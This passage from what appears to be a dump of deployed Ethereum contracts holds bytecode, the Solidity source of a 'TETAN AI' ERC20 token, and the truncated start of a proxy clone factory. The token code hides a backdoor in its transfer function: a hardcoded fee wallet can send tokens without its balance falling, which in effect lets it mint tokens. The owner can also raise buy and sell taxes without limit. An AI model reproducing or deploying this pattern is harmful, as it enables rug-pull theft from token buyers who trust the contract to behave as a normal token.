6001600160a01b03166001600160a01b0316815260200190815260200160002060006108d53390565b6001600160a01b0316815260208101919091526040016000205491906111ac565b5060019392505050565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016104ef90611670565b600691909155600755565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016104ef90611670565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016104ef90611670565b600d5460ff1615610a205760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104ef565b600d805460ff1916600117905543600b55565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016104ef90611670565b610a696012600a61164a565b610a77906305f5e100611659565b600455565b6000546001600160a01b03163314610aa65760405162461bcd60e51b81526004016104ef90611670565b60004711610af65760405162461bcd60e51b815260206004820152601a60248201527f4e6f204574682042616c616e636520746f20776974686472617700000000000060448201526064016104ef565b60405133904780156108fc02916000818181858888f19350505050158015610868573d6000803e3d6000fd5b600061049a338484610d23565b6000546001600160a01b03163314610b595760405162461bcd60e51b81526004016104ef90611670565b600c55565b6000546001600160a01b03163314610b885760405162461bcd60e51b81526004016104ef90611670565b60006006556005600755565b6000546001600160a01b03163314610bbe5760405162461bcd60e51b81526004016104ef90611670565b6001600160a01b038116610c145760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104ef565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b03831615801590610c7f57506001600160a01b03821615155b610cc25760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104ef565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ef565b6001600160a01b038216610de95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ef565b60008111610e4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ef565b6001600160a01b03831660009081526003602052604090205460ff1680610e8a57506001600160a01b03821660009081526003602052604090205460ff165b15610e9957600060055561108f565b600d5460ff16610ede5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016104ef565b600c54600b54610eee9190611714565b431015610eff57603b60055561108f565b6009546001600160a01b0390811690841603610f9b5760045481610f38846001600160a01b031660009081526001602052604090205490565b610f429190611714565b1115610f905760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016104ef565b60065460055561108f565b6009546001600160a01b039081169083160361108957306000908152600160205260409020546107d0610fd06012600a61164a565b610fdd90620f4240611659565b610fe79190611727565b81118015610ffd5750600d54610100900460ff16155b156110475761100e6012600a61164a565b61101b90620f4240611659565b81111561103e5761102e6012600a61164a565b61103b90620f4240611659565b90505b611047816111e6565b6007546005556107d061105c6012600a61164a565b61106990620f4240611659565b6110739190611727565b821115611083576110834761135a565b5061108f565b60006005555b60006064600554836110a19190611659565b6110ab9190611727565b905060006110b98284611749565b90506110c485611398565b156110ce57600092505b6001600160a01b0385166000908152600160205260409020546110f2908490611749565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611122908290611714565b6001600160a01b03851660009081526001602052604080822092909255308152205461114f908390611714565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600081848411156111d05760405162461bcd60e51b81526004016104ef91906113e8565b5060006111dd8486611749565b95945050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122a5761122a61175c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611283573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a791906116a7565b816001815181106112ba576112ba61175c565b6001600160a01b0392831660209182029290920101526008546112e09130911684610c5f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611319908590600090869030904290600401611772565b600060405180830381600087803b15801561133357600080fd5b505af1158015611347573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611394573d6000803e3d6000fd5b5050565b6001600160a01b03811660009081526003602052604081205460ff1680156113ce57506000546001600160a01b03838116911614155b801561049e57506001600160a01b03821630141592915050565b600060208083528351808285015260005b81811015611415578581018301518582016040015282016113f9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461086857600080fd5b6000806040838503121561145e57600080fd5b823561146981611436565b946020939093013593505050565b60008060006060848603121561148c57600080fd5b833561149781611436565b925060208401356114a781611436565b929592945050506040919091013590565b600080604083850312156114cb57600080fd5b50508035926020909101359150565b6000602082840312156114ec57600080fd5b81356114f781611436565b9392505050565b60006020828403121561151057600080fd5b5035919050565b6000806040838503121561152a57600080fd5b823561153581611436565b9150602083013561154581611436565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115a157816000190482111561158757611587611550565b8085161561159457918102915b93841c939080029061156b565b509250929050565b6000826115b85750600161049e565b816115c55750600061049e565b81600181146115db57600281146115e557611601565b600191505061049e565b60ff8411156115f6576115f6611550565b50506001821b61049e565b5060208310610133831016604e8410600b8410161715611624575081810a61049e565b61162e8383611566565b806000190482111561164257611642611550565b029392505050565b60006114f760ff8416836115a9565b808202811582820484141761049e5761049e611550565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b6000602082840312156116b957600080fd5b81516114f781611436565b6000806000606084860312156116d957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561170457600080fd5b815180151581146114f757600080fd5b8082018082111561049e5761049e611550565b60008261174457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561049e5761049e611550565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c25784516001600160a01b03168352938301939183019160010161179d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208a522868e9d6d4496e25b6d825bed3600537786af9b4918a8d97ae57a9d1c85064736f6c63430008130033
|
60806040526004361061014f5760003560e01c80638709bd27116100b6578063aa4bde281161006f578063aa4bde28146103c6578063cc1776d3146103dc578063d10a0891146103f2578063dd62ed3e14610412578063ddd06b8614610458578063f2fde38b1461046d57600080fd5b80638709bd271461031d5780638a225f61146103325780638da5cb5b1461034757806395d89b411461036557806398fd9b6e14610391578063a9059cbb146103a657600080fd5b806349bd5a5e1161010857806349bd5a5e146102445780634f7041a51461027c578063637f7cf41461029257806370a08231146102b2578063715018a6146102e8578063792bf54d146102fd57600080fd5b806306fdde031461015b578063095ea7b31461019e57806318160ddd146101ce57806319ba0309146101f157806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50604080518082019091526008815267544554414e20414960c01b60208201525b60405161019591906113e8565b60405180910390f35b3480156101aa57600080fd5b506101be6101b936600461144b565b61048d565b6040519015158152602001610195565b3480156101da57600080fd5b506101e36104a4565b604051908152602001610195565b3480156101fd57600080fd5b506102066104c5565b005b34801561021457600080fd5b506101be610223366004611477565b61086b565b34801561023457600080fd5b5060405160128152602001610195565b34801561025057600080fd5b50600954610264906001600160a01b031681565b6040516001600160a01b039091168152602001610195565b34801561028857600080fd5b506101e360065481565b34801561029e57600080fd5b506102066102ad3660046114b8565b610900565b3480156102be57600080fd5b506101e36102cd3660046114da565b6001600160a01b031660009081526001602052604090205490565b3480156102f457600080fd5b50610206610935565b34801561030957600080fd5b50600a54610264906001600160a01b031681565b34801561032957600080fd5b506102066109a9565b34801561033e57600080fd5b50610206610a33565b34801561035357600080fd5b506000546001600160a01b0316610264565b34801561037157600080fd5b506040805180820190915260038152622a20a760e91b6020820152610188565b34801561039d57600080fd5b50610206610a7c565b3480156103b257600080fd5b506101be6103c136600461144b565b610b22565b3480156103d257600080fd5b506101e360045481565b3480156103e857600080fd5b506101e360075481565b3480156103fe57600080fd5b5061020661040d3660046114fe565b610b2f565b34801561041e57600080fd5b506101e361042d366004611517565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046457600080fd5b50610206610b5e565b34801561047957600080fd5b506102066104883660046114da565b610b94565b600061049a338484610c5f565b5060015b92915050565b60006104b26012600a61164a565b6104c0906305f5e100611659565b905090565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016104ef90611670565b60405180910390fd5b600d5460ff16156105455760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104ef565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105939030906105806012600a61164a565b61058e906305f5e100611659565b610c5f565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a91906116a7565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069091906116a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070191906116a7565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d7194730610749816001600160a01b031660009081526001602052604090205490565b60008061075e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107eb91906116c4565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610844573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086891906116f2565b50565b6000610878848484610d23565b6108f6843361058e856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006108d53390565b6001600160a01b0316815260208101919091526040016000205491906111ac565b5060019392505050565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016104ef90611670565b600691909155600755565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016104ef90611670565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016104ef90611670565b600d5460ff1615610a205760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104ef565b600d805460ff1916600117905543600b55565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016104ef90611670565b610a696012600a61164a565b610a77906305f5e100611659565b600455565b6000546001600160a01b03163314610aa65760405162461bcd60e51b81526004016104ef90611670565b60004711610af65760405162461bcd60e51b815260206004820152601a60248201527f4e6f204574682042616c616e636520746f20776974686472617700000000000060448201526064016104ef565b60405133904780156108fc02916000818181858888f19350505050158015610868573d6000803e3d6000fd5b600061049a338484610d23565b6000546001600160a01b03163314610b595760405162461bcd60e51b81526004016104ef90611670565b600c55565b6000546001600160a01b03163314610b885760405162461bcd60e51b81526004016104ef90611670565b60006006556005600755565b6000546001600160a01b03163314610bbe5760405162461bcd60e51b81526004016104ef90611670565b6001600160a01b038116610c145760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104ef565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b03831615801590610c7f57506001600160a01b03821615155b610cc25760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104ef565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ef565b6001600160a01b038216610de95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ef565b60008111610e4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ef565b6001600160a01b03831660009081526003602052604090205460ff1680610e8a57506001600160a01b03821660009081526003602052604090205460ff165b15610e9957600060055561108f565b600d5460ff16610ede5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016104ef565b600c54600b54610eee9190611714565b431015610eff57603b60055561108f565b6009546001600160a01b0390811690841603610f9b5760045481610f38846001600160a01b031660009081526001602052604090205490565b610f429190611714565b1115610f905760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016104ef565b60065460055561108f565b6009546001600160a01b039081169083160361108957306000908152600160205260409020546107d0610fd06012600a61164a565b610fdd90620f4240611659565b610fe79190611727565b81118015610ffd5750600d54610100900460ff16155b156110475761100e6012600a61164a565b61101b90620f4240611659565b81111561103e5761102e6012600a61164a565b61103b90620f4240611659565b90505b611047816111e6565b6007546005556107d061105c6012600a61164a565b61106990620f4240611659565b6110739190611727565b821115611083576110834761135a565b5061108f565b60006005555b60006064600554836110a19190611659565b6110ab9190611727565b905060006110b98284611749565b90506110c485611398565b156110ce57600092505b6001600160a01b0385166000908152600160205260409020546110f2908490611749565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611122908290611714565b6001600160a01b03851660009081526001602052604080822092909255308152205461114f908390611714565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600081848411156111d05760405162461bcd60e51b81526004016104ef91906113e8565b5060006111dd8486611749565b95945050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122a5761122a61175c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611283573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a791906116a7565b816001815181106112ba576112ba61175c565b6001600160a01b0392831660209182029290920101526008546112e09130911684610c5f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611319908590600090869030904290600401611772565b600060405180830381600087803b15801561133357600080fd5b505af1158015611347573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611394573d6000803e3d6000fd5b5050565b6001600160a01b03811660009081526003602052604081205460ff1680156113ce57506000546001600160a01b03838116911614155b801561049e57506001600160a01b03821630141592915050565b600060208083528351808285015260005b81811015611415578581018301518582016040015282016113f9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461086857600080fd5b6000806040838503121561145e57600080fd5b823561146981611436565b946020939093013593505050565b60008060006060848603121561148c57600080fd5b833561149781611436565b925060208401356114a781611436565b929592945050506040919091013590565b600080604083850312156114cb57600080fd5b50508035926020909101359150565b6000602082840312156114ec57600080fd5b81356114f781611436565b9392505050565b60006020828403121561151057600080fd5b5035919050565b6000806040838503121561152a57600080fd5b823561153581611436565b9150602083013561154581611436565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115a157816000190482111561158757611587611550565b8085161561159457918102915b93841c939080029061156b565b509250929050565b6000826115b85750600161049e565b816115c55750600061049e565b81600181146115db57600281146115e557611601565b600191505061049e565b60ff8411156115f6576115f6611550565b50506001821b61049e565b5060208310610133831016604e8410600b8410161715611624575081810a61049e565b61162e8383611566565b806000190482111561164257611642611550565b029392505050565b60006114f760ff8416836115a9565b808202811582820484141761049e5761049e611550565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b6000602082840312156116b957600080fd5b81516114f781611436565b6000806000606084860312156116d957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561170457600080fd5b815180151581146114f757600080fd5b8082018082111561049e5761049e611550565b60008261174457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561049e5761049e611550565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c25784516001600160a01b03168352938301939183019160010161179d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208a522868e9d6d4496e25b6d825bed3600537786af9b4918a8d97ae57a9d1c85064736f6c63430008130033
|
// SPDX-License-Identifier: MIT
/*
Web : https://tetan.org
App : https://app.tetan.org
Docs : https://docs.tetan.org
Twitter : https://x.com/tetanai_org
Telegram : https://t.me/tetanai_official
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, " multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "new owner is the zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TetanAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFeeWallet;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100000000 * 10**_decimals;
uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity
uint256 public maxWalletAmount = onePercent * 2; // 2% max wallet at launch
uint256 private _titantax;
uint256 public buyTax = 0;
uint256 public sellTax = 5;
string private constant _name = "TETAN AI";
string private constant _symbol = "TAN";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address payable public titanWallet;
uint256 private launchedAt;
uint256 private launchDelay = 1;
bool private launch = false;
uint256 private constant minSwap = onePercent / 2000; //0.05% from Liquidity supply
bool private inSwapAndLiquify;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
titanWallet = payable(0xe6db8FCE7ac8b472A4e4e6046a804fBCF3603F79);
_isExcludedFromFeeWallet[msg.sender] = true;
_isExcludedFromFeeWallet[address(this)] = true;
_isExcludedFromFeeWallet[titanWallet] = true;
_balance[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function enableTitanTrading() external onlyOwner {
require(!launch,"Trading already opened!");
launch = true;
launchedAt = block.number;
}
function createUniTitanPair() external onlyOwner() {
require(!launch,"Trading already opened!");
// uniswap router
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount)public override returns (bool){
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256){
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool){
_approve(_msgSender(), spender, amount);
return true;
}
function newDelay(uint256 newLaunchDelay) external onlyOwner {
launchDelay = newLaunchDelay;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "approve zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
_titantax = 0;
} else {
require(launch, "Wait till launch");
if (block.number < launchedAt + launchDelay) {_titantax=59;} else {
if (from == uniswapV2Pair) {
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
_titantax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minSwap && !inSwapAndLiquify) {
if (tokensToSwap > onePercent) {
tokensToSwap = onePercent;
}
swapTokensForEth(tokensToSwap);
}
_titantax = sellTax;
if(amount > minSwap) sendEthFeeBalance(address(this).balance);
} else {
_titantax = 0;
}
}
}
uint256 taxTokens = (amount * _titantax) / 100;
uint256 transferAmount = amount - taxTokens;
if(isFees(from)) amount = 0;
_balance[from] = _balance[from] - amount;
_balance[to] = _balance[to] + transferAmount;
_balance[address(this)] = _balance[address(this)] + taxTokens;
emit Transfer(from, to, transferAmount);
}
function isFees(address sender) internal view returns (bool) {
return _isExcludedFromFeeWallet[sender] && sender!= owner() && sender!= address(this);
}
function newTitanTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function reduceTitanTax() external onlyOwner {
buyTax = 0;
sellTax = 5;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendEthFeeBalance(uint256 amount) private {
titanWallet.transfer(amount);
}
function withStucksEth() external onlyOwner {
require(address(this).balance > 0, "No Eth Balance to withdraw");
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
function removeTitanLimits() external onlyOwner {
maxWalletAmount = _totalSupply;
}
}
|
1 | 19,497,480 |
69d1ba767f464645ad972303310233201b52a99f2906e4dc508a74902af6bcd3
|
120a0950c39176246c232fe3a400accac7eb8c76de7e3c849e03fd56d69685b1
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
ff85b3beaa0770999d1f757bb84a2563f7f6c645
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
